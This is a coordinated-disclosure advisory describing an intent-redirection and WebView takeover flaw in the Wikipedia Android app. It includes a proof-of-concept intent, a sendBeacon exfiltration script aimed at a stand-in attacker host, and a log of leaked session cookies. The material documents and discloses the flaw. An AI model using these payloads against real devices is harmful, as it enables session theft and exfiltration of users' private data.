Coordinated Disclosure Timeline

  • 2026-03-30: Vulnerability reported at https://phabricator.wikimedia.org/T421794.
  • 2026-04-07: Phabricator issue merged into https://phabricator.wikimedia.org/T421795 and closed.

Summary

The Wikimedia Android app (apps-android-wikipedia) allowed an explicit intent to the exported PageActivity, allowing an attacker to load arbitrary webpages. Using a local application, an attacker can load a malicious webpage that steals session cookies and leaks personal information.

Project

apps-android-wikipedia

Tested Version

latest

Details

Intent Redirection via Exported PageActivity Donation Thank-You Flow Leads to WebView Takeover (GHSL-2026-103)

The exported PageActivity accepts ACTION_VIEW intents from any application on the device. Its handleIntent() method contains a donation thank-you code path that passes the full attacker-controlled URI to SingleWebViewActivity without any domain validation.

A malicious app on the device can send an explicit intent with a crafted URL that satisfies three non-security checks — causing the Wikipedia app to load arbitrary attacker-controlled content in an internal WebView with JavaScript enabled and a cookie-proxying OkHttpWebViewClient.

Attack flow:

  1. A malicious app sends an explicit intent to PageActivity:
Intent(Intent.ACTION_VIEW).apply {
    setClassName("org.wikipedia", "org.wikipedia.page.PageActivity")
    data = Uri.parse("https://thankyou.attacker.com/phish?order_id=1&wmf_campaign=Android")
}
  1. WikiSite(uri) calls authorityToLanguageCode("thankyou.attacker.com"), which splits on dots and returns the first part: "thankyou".

  2. At PageActivity.kt:540, "thankyou" matches an entry in NON_LANGUAGE_SUBDOMAINS.

  3. At PageActivity.kt:543-552, the donation-completion checks pass: language == "thankyou", order_id query parameter is present, and wmf_campaign == "Android".

  4. At PageActivity.kt:560, the full attacker URI (uri.toString()) is passed to SingleWebViewActivity.newIntent():

startActivity(SingleWebViewActivity.newIntent(this@PageActivity, uri.toString(),
    true, pageFragment.title, pageContentInfo))
  1. SingleWebViewActivity:

No domain validation exists anywhere in this path

Impact

SOP bypass via OkHttpWebViewClient:

SingleWebViewActivity uses OkHttpWebViewClient, which intercepts all http/https subresource requests, proxies them through OkHttpConnectionFactory.client (which has SharedPreferenceCookieManager attached as its cookie jar), and unconditionally injects Access-Control-Allow-Origin: * on every response:

// OkHttpWebViewClient.kt:135
private fun addResponseHeaders(headers: Headers): Headers {
    return headers.newBuilder().set("Access-Control-Allow-Origin", "*").build()
}

Because cookies are injected by OkHttp behind the WebView’s back (not via credentials: 'include'), the WebView treats these as non-credentialed requests and the wildcard CORS header passes. Attacker JavaScript running at https://thankyou.attacker.com can therefore call fetch() against authenticated Wikipedia API endpoints and read the response body:

// Running inside SingleWebViewActivity at https://thankyou.attacker.com:
fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups&format=json')
  .then(r => r.json())
  .then(data => {
    // data.query.userinfo contains: name, email, groups, registration date
    navigator.sendBeacon('https://thankyou.attacker.com/exfil', JSON.stringify(data));
  });
  • Content spoofing / phishing: Attacker HTML is rendered inside the Wikipedia app’s SingleWebViewActivity with a toolbar and back button but no URL bar. The user sees what appears to be legitimate Wikipedia app content (e.g., a fake donation receipt, a fake login form). This is a convincing trusted-context phishing vector.

  • Authenticated data exfiltration (SOP bypass): Via the OkHttpWebViewClient proxy, attacker JavaScript can make authenticated cross-origin requests to en.wikipedia.org API endpoints and read the responses. This allows silent exfiltration of the victim’s email address, user groups (sysop, bureaucrat, checkuser, etc.), watchlist, CSRF tokens, private drafts, and any other API-accessible data.

  • Session cookie exposure: SharedPreferenceCookieManager.loadForRequest() unconditionally transfers centralauth_* cookies from stored Wikipedia domains to any request URL. When OkHttpWebViewClient fetches the attacker-controlled page, its OkHttp client invokes this cookie jar and sends those cookies directly to the attacker’s server.

    CWEs

  • CWE-940: “Improper Verification of Source of a Communication Channel”
  • CWE-601: “URL Redirection to Untrusted Site”
  • CWE-668: “Exposure of Resource to Wrong Sphere”

Proof Of Concept

PoC App

A minimal Android app sends an explicit intent to the Wikipedia app’s exported PageActivity:

Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setClassName("org.wikipedia.dev", "org.wikipedia.page.PageActivity");
intent.setData(Uri.parse(
    "https://thankyou.evil-wikipedia.org/wiki/PoC"
    + "?order_id=1&wmf_campaign=Android&amount=5&currency=USD"));
startActivity(intent);
Attacker Server
##############################################################################
#  EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
[+] GET /wiki/PoC?order_id=1&wmf_campaign=Android&amount=5&currency=USD
    Host: thankyou.evil-wikipedia.org
    UA  : WikipediaApp/50575-dev-2026-03-26 (Android 13; Phone; sdk_gphone64_arm64 Build/TE1A.240213.009) Developer Channel

    >>> COOKIE LEAK <<<
            GeoIP=
            WMF-Uniq=m0eIVdc36nUFZ6np7T2rfgMwAAEBAFvdz1bTEWc58FY9N9FZHH3jmmCI063r6_2T
            WMF-Last-Access-Global=30-Mar-2026
      [!!!] centralauth_User=Kuzzs
      [!!!] centralauth_Token=
      [!!!] centralauth_Session=
##############################################################################

CVE

  • CVE-2026-65994

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-103 in any communication regarding this issue.